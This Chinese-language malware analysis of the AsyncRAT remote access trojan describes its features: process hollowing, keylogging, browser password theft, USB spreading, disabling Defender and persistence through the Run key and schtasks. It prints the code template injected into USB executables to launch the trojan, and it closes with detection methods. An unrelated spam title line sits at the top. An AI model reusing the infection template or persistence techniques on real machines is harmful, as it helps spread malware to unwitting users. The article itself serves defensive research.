自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

AsyncRAT利用分析

開發(fā)
AsyncRAT是一款使用C Sharp開發(fā)的C2工具,本文僅在技術(shù)研究的角度分析AsyncRAT的技術(shù)細(xì)節(jié),介紹檢測(cè)方法。

[[343203]]

0x01 簡(jiǎn)介

· AsyncRAT的優(yōu)點(diǎn)

· AsyncRAT的技術(shù)細(xì)節(jié)

· 檢測(cè)方法

0x02 AsyncRAT的優(yōu)點(diǎn)

AsyncRAT使用C Sharp開發(fā),應(yīng)用于Windows系統(tǒng),具有以下優(yōu)點(diǎn):

1. 支持從Pastebin.com讀取C2服務(wù)器的配置信息;

2. 支持內(nèi)存加載PE文件;

3. 支持動(dòng)態(tài)編譯并執(zhí)行C#或者VB代碼;

4. 支持U盤感染,能夠感染U盤中所有使用.NET開發(fā)的exe文件;

5. 支持自動(dòng)讀取Firefox和Chrome瀏覽器中保存的密碼;

6. 通過欺騙用戶點(diǎn)擊的方式繞過UAC進(jìn)行提權(quán);

7. 通過C#接口技術(shù),提高程序的擴(kuò)展性,在程序?qū)崿F(xiàn)上將每一個(gè)功能對(duì)應(yīng)一個(gè)類,編譯成dll文件,在需要加載的時(shí)候,由Server發(fā)送至Client,Client通過Activator.CreateInstance將類實(shí)例化,進(jìn)而調(diào)用類的方法。

0x03 AsyncRAT的技術(shù)細(xì)節(jié)

本節(jié)按照AsyncRAT控制面板上的功能逐個(gè)進(jìn)行分析,如下圖: 

1.SendFile

(1)ToMemory

內(nèi)存加載exe文件,支持以下兩種類型:

· Reflection

· 使用Assembly.Load加載C#程序

更多細(xì)節(jié)可參考之前的文章《從內(nèi)存加載.NET程序集(Assembly.Load)的利用分析》。

· RunPE

· 通過替換進(jìn)程內(nèi)存的方式加載exe文件

可選擇以下程序作為被注入的程序:

· aspnet_compiler.exe

· RegAsm.exe

· MSBuild.exe

· RegSvcs.exe

· vbc.exe

注:

· 以上5個(gè)exe文件位于Microsoft.NET Framework的安裝目錄,同AsyncClient.exe的位數(shù)保持一致

· 使用32位的AsyncClient.exe反彈回的Session,默認(rèn)會(huì)尋找32位Microsoft.NET Framework的安裝目錄,例如:C:\Windows\Microsoft.NET\Framework\v4.0.30319

· 使用64位的AsyncClient.exe反彈回的Session,默認(rèn)會(huì)尋找64位Microsoft.NET Framework的安裝目錄,例如:C:\Windows\Microsoft.NET\Framework64\v4.0.30319

· RunPE操作將啟動(dòng)以上5個(gè)exe文件中的一個(gè),通過ReadProcessMemory、VirtualAllocEx、WriteProcessMemory和ResumeThread實(shí)現(xiàn)對(duì)進(jìn)程內(nèi)存的修改,替換成要加載的exe文件

· 這里需要注意要加載的exe文件需要同AsyncClient.exe的位數(shù)保持一致

· 使用32位的AsyncClient.exe反彈回的Session,使用RunPE操作只能加載32位的exe文件

· 使用64位的AsyncClient.exe反彈回的Session,使用RunPE操作只能加載64位的exe文件

更多細(xì)節(jié)可參考之前的文章《傀儡進(jìn)程的實(shí)現(xiàn)與檢測(cè)》

(2)ToDisk

將exe文件上傳到目標(biāo)主機(jī)的%Temp%目錄,重命名為隨機(jī)字符串,再使用Powershell啟動(dòng)exe文件,執(zhí)行后不會(huì)刪除%Temp%目錄下的exe文件。

2. Monitoring

(1)Remote Desktop

· 監(jiān)控屏幕,實(shí)時(shí)獲得目標(biāo)桌面的內(nèi)容(只能監(jiān)控,無法操作)

· 調(diào)用Graphics類的CopyFromScreen實(shí)現(xiàn)屏幕截圖

通過Python實(shí)現(xiàn)監(jiān)控屏幕的細(xì)節(jié)可參考之前的文章《Pupy利用分析——Windows平臺(tái)下的屏幕控制》。

(2)Keylogger

· 實(shí)時(shí)獲得目標(biāo)主機(jī)鍵盤輸入的消息和進(jìn)程名稱

· 通過hook的方式實(shí)現(xiàn)鍵盤記錄

(3)Password Recovery

· 獲得Firefox和Chrome瀏覽器中保存的密碼

技術(shù)細(xì)節(jié)可參考之前的文章《滲透技巧——導(dǎo)出Firefox瀏覽器中保存的密碼》和《滲透技巧——導(dǎo)出Chrome瀏覽器中保存的密碼》。

(4)File Manager

· 文件管理,還支持隱蔽安裝7zip和對(duì)文件的壓縮及解壓縮

隱蔽安裝7zip的方式:

· 在%Temp%目錄新建文件夾7-Zip,釋放文件7z.exe和7z.dll

(5)Process Manager

· 進(jìn)程管理,支持查看進(jìn)程和關(guān)閉進(jìn)程

(6)Report Window

· 監(jiān)控重要進(jìn)程,當(dāng)目標(biāo)主機(jī)上運(yùn)行指定進(jìn)程時(shí),控制端彈出提示消息

(7)Webcam

· 開啟攝像頭

3.Miscellaneous

(1)Bots Killer

清除自身進(jìn)程在注冊(cè)表HKLM和HKCU下\Software\Microsoft\Windows\CurrentVersion\Run和Software\Microsoft\Windows\CurrentVersion\RunOnce保存的項(xiàng)。

(2)USB Spread

1. 當(dāng)目標(biāo)主機(jī)連接U盤時(shí),感染U盤中的文件。

2. 將木馬客戶端復(fù)制到U盤中并隱藏,默認(rèn)保存的名稱為L(zhǎng)imeUSB.exe。

修改U盤中所有使用.NET開發(fā)的exe文件,通過CSharpCodeProvider改變程序運(yùn)行流程,添加以下代碼:

  1. using System; 
  2. using System.Diagnostics; 
  3. using System.Reflection; 
  4. using System.Runtime.InteropServices; 
  5.  
  6. [assembly: AssemblyTrademark("%Lime%")] 
  7. [assembly: Guid("%Guid%")] 
  8.  
  9. static class %LimeUSBModule% 
  10.     public static void Main() 
  11.     { 
  12.         try 
  13.         { 
  14.             System.Diagnostics.Process.Start(@"%File%"); 
  15.         } 
  16.         catch { } 
  17.         try 
  18.         { 
  19.             System.Diagnostics.Process.Start(@"%Payload%"); 
  20.         } 
  21.         catch { } 
  22.     } 

用戶在啟動(dòng)正常文件的同時(shí)會(huì)隱蔽執(zhí)行U盤中的木馬客戶端。

(3)Seed Torrent

· 向目標(biāo)主機(jī)發(fā)送種子文件并下載

· 目標(biāo)主機(jī)需要安裝uTorrent或者BitTorrent

(4)Remote Shell

· 彈出一個(gè)交互式的cmd窗口

(5)DOS Attack

· 向指定域名持續(xù)發(fā)送HTTP數(shù)據(jù)包

(6)Execute .NET Code

· 在目標(biāo)主機(jī)上動(dòng)態(tài)編譯C#或者VB代碼并執(zhí)行

· 模板文件包含彈框和下載執(zhí)行的功能

我提取出了其中編譯C#代碼并執(zhí)行的功能,代碼示例如下:

  1. using System; 
  2. using System.CodeDom; 
  3. using System.CodeDom.Compiler; 
  4. using System.Reflection; 
  5. namespace CodeDomProviderTest 
  6.     class Program 
  7.     { 
  8.         static void Main(string[] args) 
  9.         { 
  10.             string source = @" 
  11. using System; 
  12. using System.Windows.Forms; 
  13. namespace AsyncRAT 
  14.     public class Program 
  15.     { 
  16.         public static void Main(string[] args) 
  17.         { 
  18.             try 
  19.             { 
  20.                 MessageBox.Show(""Hello World""); 
  21.             } 
  22.             catch { } 
  23.         } 
  24. }"; 
  25.             CodeDomProvider codeDomProvider = CodeDomProvider.CreateProvider("CSharp");   
  26.             try 
  27.             {               
  28.                 var compilerOptions = "/target:winexe /platform:anycpu /optimize-"
  29.  
  30.                 var compilerParameters = new CompilerParameters(); 
  31.                 compilerParameters.ReferencedAssemblies.Add("system.dll"); 
  32.                 compilerParameters.ReferencedAssemblies.Add("system.windows.forms.dll"); 
  33.                 compilerParameters.GenerateExecutable = true
  34.                 compilerParameters.GenerateInMemory = true
  35.                 compilerParameters.CompilerOptions = compilerOptions; 
  36.                 compilerParameters.TreatWarningsAsErrors = false
  37.                 compilerParameters.IncludeDebugInformation = false
  38.  
  39.                 var compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source); 
  40.                 if (compilerResults.Errors.Count > 0) 
  41.                 { 
  42.                     foreach (CompilerError compilerError in compilerResults.Errors) 
  43.                     { 
  44.                         Console.WriteLine(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", compilerError.ErrorText, 
  45.                             compilerError.Line, compilerError.Column, compilerError.FileName)); 
  46.                         break; 
  47.                     } 
  48.                 } 
  49.                 else 
  50.                 { 
  51.                     Assembly assembly = compilerResults.CompiledAssembly; 
  52.                     MethodInfo methodInfo = assembly.EntryPoint; 
  53.                     object injObj = assembly.CreateInstance(methodInfo.Name); 
  54.                     object[] parameters = new object[1]; 
  55.                     if (methodInfo.GetParameters().Length == 0) 
  56.                     { 
  57.                         parameters = null
  58.                     } 
  59.                     methodInfo.Invoke(injObj, parameters); 
  60.                 } 
  61.             } 
  62.             catch (Exception ex) 
  63.             { 
  64.                 Console.WriteLine(ex.Message); 
  65.             } 
  66.         } 
  67.     } 

(7)Files Searcher

· 搜索指定后綴名的文件并打包成zip文件

4.Extra

(1)Visit Website

· 啟動(dòng)默認(rèn)瀏覽器并訪問指定URL,界面不隱藏

(2)Send MessageBox

· 在目標(biāo)主機(jī)上彈出對(duì)話框

(3)Chat

· 在目標(biāo)主機(jī)上彈出對(duì)話框,實(shí)時(shí)顯示輸入的內(nèi)容

(4)Get Admin Privileges

1. 使用cmd.exe以Admin權(quán)限重新啟動(dòng)木馬客戶端,這個(gè)操作會(huì)在用戶桌面彈出UAC框,需要用戶選擇允許后才能運(yùn)行;

2. 如果用戶未選擇允許,會(huì)一直彈出UAC對(duì)話框;

3. UAC對(duì)話框的程序位置會(huì)暴露木馬客戶端的路徑;

4. 如果想要偽造一個(gè)更加可信的UAC對(duì)話框(不暴露程序位置)可以參考之前文章《A dirty way of tricking users to bypass UAC》中的思路。

(5)Blank Screen

Run功能:

通過WinAPI CreateDesktop()創(chuàng)建一個(gè)隨機(jī)名稱的虛擬桌面,內(nèi)容為空,當(dāng)切換到這個(gè)空的虛擬桌面時(shí),用戶無法對(duì)桌面進(jìn)行操作。

Stop功能:

通過WinAPI SwitchDesktop()切換到原來的桌面。

(6)Disable Windows Defender

· 通過修改注冊(cè)表的方式關(guān)閉Windows Defender,通常在Win10系統(tǒng)上使用

(7)Set Wallpaper

· 設(shè)置用戶的桌面

5.Server

· Block Clients

· 拒絕指定IP回連的木馬客戶端

6.Builder

(1)Connection

DNS:指定C2 Server的IP,可以設(shè)置多個(gè);

Port:指定C2 Server的端口,可以設(shè)置多個(gè);

Pastebin:從Pastebin.com讀取C2 Server的信息,包括DNS和Port。

內(nèi)容示例:

  1. 127.0.0.1:6606:7707:8808 

(2)Install

1. 用作配置木馬客戶端自啟動(dòng)的功能;

2. 開啟這個(gè)功能后會(huì)將木馬客戶端復(fù)制到指定位置;

3. 文件名稱可以重新命名;

4. 文件路徑可選擇%AppData%或%Temp%目錄;

5. 當(dāng)木馬客戶端以普通用戶權(quán)限執(zhí)行時(shí),會(huì)在注冊(cè)表HKCU\Software\Microsoft\Windows\CurrentVersion\Run添加項(xiàng),以新的木馬客戶端名稱作為注冊(cè)表項(xiàng)的名稱,以新的木馬客戶端路徑作為注冊(cè)表項(xiàng)的數(shù)據(jù)。

當(dāng)木馬客戶端以管理員權(quán)限執(zhí)行時(shí),會(huì)使用schtasks命令創(chuàng)建計(jì)劃任務(wù),命令示例:

  1. schtasks /create /f /sc onlogon /rl highest /tn  /tr 

計(jì)劃任務(wù)的名稱為新的木馬客戶端名稱,會(huì)在用戶登錄時(shí)執(zhí)行計(jì)劃任務(wù)。

(3)Misc

Group:對(duì)木馬客戶端進(jìn)行分類;

Mutex:設(shè)置互斥量,避免木馬客戶端的重復(fù)啟動(dòng);

Anti Analysis:

包括以下功能:

· DetectManufacturer,通過WMI獲得系統(tǒng)信息(Select * from Win32_ComputerSystem),查看Manufacturer是否包含字符VIRTUAL、vmware或VirtualBox

· DetectDebugger,使用WinApi CheckRemoteDebuggerPresent()檢查是否為調(diào)試器

· DetectSandboxie,使用WinApi GetModuleHandle()檢查SbieDll.dll是否存在

· IsSmallDisk,檢查硬盤大小是否小于60Gb

· IsXP,檢查系統(tǒng)名稱是否包含字符xp

Process Critica:

將進(jìn)程設(shè)置為保護(hù)進(jìn)程,如果意外關(guān)閉了保護(hù)進(jìn)程,那么將導(dǎo)致BSOD。

更多細(xì)節(jié)可參考之前的文章《結(jié)束進(jìn)程導(dǎo)致BSOD的利用分析》。

Delay:延遲執(zhí)行的時(shí)間

(4)Assembly

· 可以手動(dòng)設(shè)置文件屬性,也可以復(fù)制指定文件的文件屬性

(5)Icon

· 設(shè)置文件圖標(biāo)

(6)Build

· Simple Obfuscator:通過重命名的方式實(shí)現(xiàn)簡(jiǎn)單的混淆

關(guān)鍵代碼:

 

  1. private static ModuleDefMD RenamingObfuscation(ModuleDefMD inModule) 
  2.     { 
  3.         ModuleDefMD module = inModule; 
  4.         IRenaming rnm = new NamespacesRenaming(); 
  5.         module = rnm.Rename(module); 
  6.         rnm = new ClassesRenaming(); 
  7.         module = rnm.Rename(module); 
  8.         rnm = new MethodsRenaming(); 
  9.         module = rnm.Rename(module); 
  10.         rnm = new PropertiesRenaming(); 
  11.         module = rnm.Rename(module); 
  12.         rnm = new FieldsRenaming(); 
  13.         module = rnm.Rename(module); 
  14.         return module; 
  15.     } 

0x04 檢測(cè)方法

1.查找可疑文件

路徑:%AppData%和%Temp%目錄。

2.使用Autoruns檢查可疑的啟動(dòng)項(xiàng)

(1)注冊(cè)表位置

· HKLM\Software\Microsoft\Windows\CurrentVersion\Run

· HKCU\Software\Microsoft\Windows\CurrentVersion\Run

(2)計(jì)劃任務(wù)列表

3.后臺(tái)可疑進(jìn)程

· AsyncRAT的木馬客戶端只有exe文件一種形式,在運(yùn)行時(shí)會(huì)產(chǎn)生可疑的進(jìn)程

4.通信流量

· 查看可疑進(jìn)程對(duì)外通信流量

5.使用殺毒軟件

· 目前殺毒軟件均會(huì)對(duì)AsyncRAT進(jìn)行攔截

0x05 小結(jié)

本文在技術(shù)研究的角度分析AsyncRAT的技術(shù)細(xì)節(jié),介紹檢測(cè)方法。

 

責(zé)任編輯:姜華 來源: 嘶吼網(wǎng)
相關(guān)推薦

2024-08-06 09:48:49

2023-08-02 08:27:13

2013-03-22 10:00:14

2009-02-04 10:30:47

2022-09-27 14:46:03

網(wǎng)絡(luò)安全計(jì)算機(jī)惡意軟件

2020-12-25 15:24:24

人工智能

2024-09-02 22:51:59

結(jié)構(gòu)化架構(gòu)模型

2016-09-29 14:37:39

ImageMagick漏洞分析

2017-12-20 09:52:50

2009-07-04 21:19:04

2023-03-09 08:30:34

2021-01-20 08:30:00

數(shù)據(jù)分析機(jī)器學(xué)習(xí)IT

2017-08-22 13:45:27

2024-07-26 21:36:43

2009-11-16 16:43:24

PHP數(shù)組刪除

2019-02-26 15:15:16

DNS漏洞IP

2019-04-02 08:30:03

2010-06-27 17:27:59

新風(fēng)冷源

2012-09-21 10:12:37

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)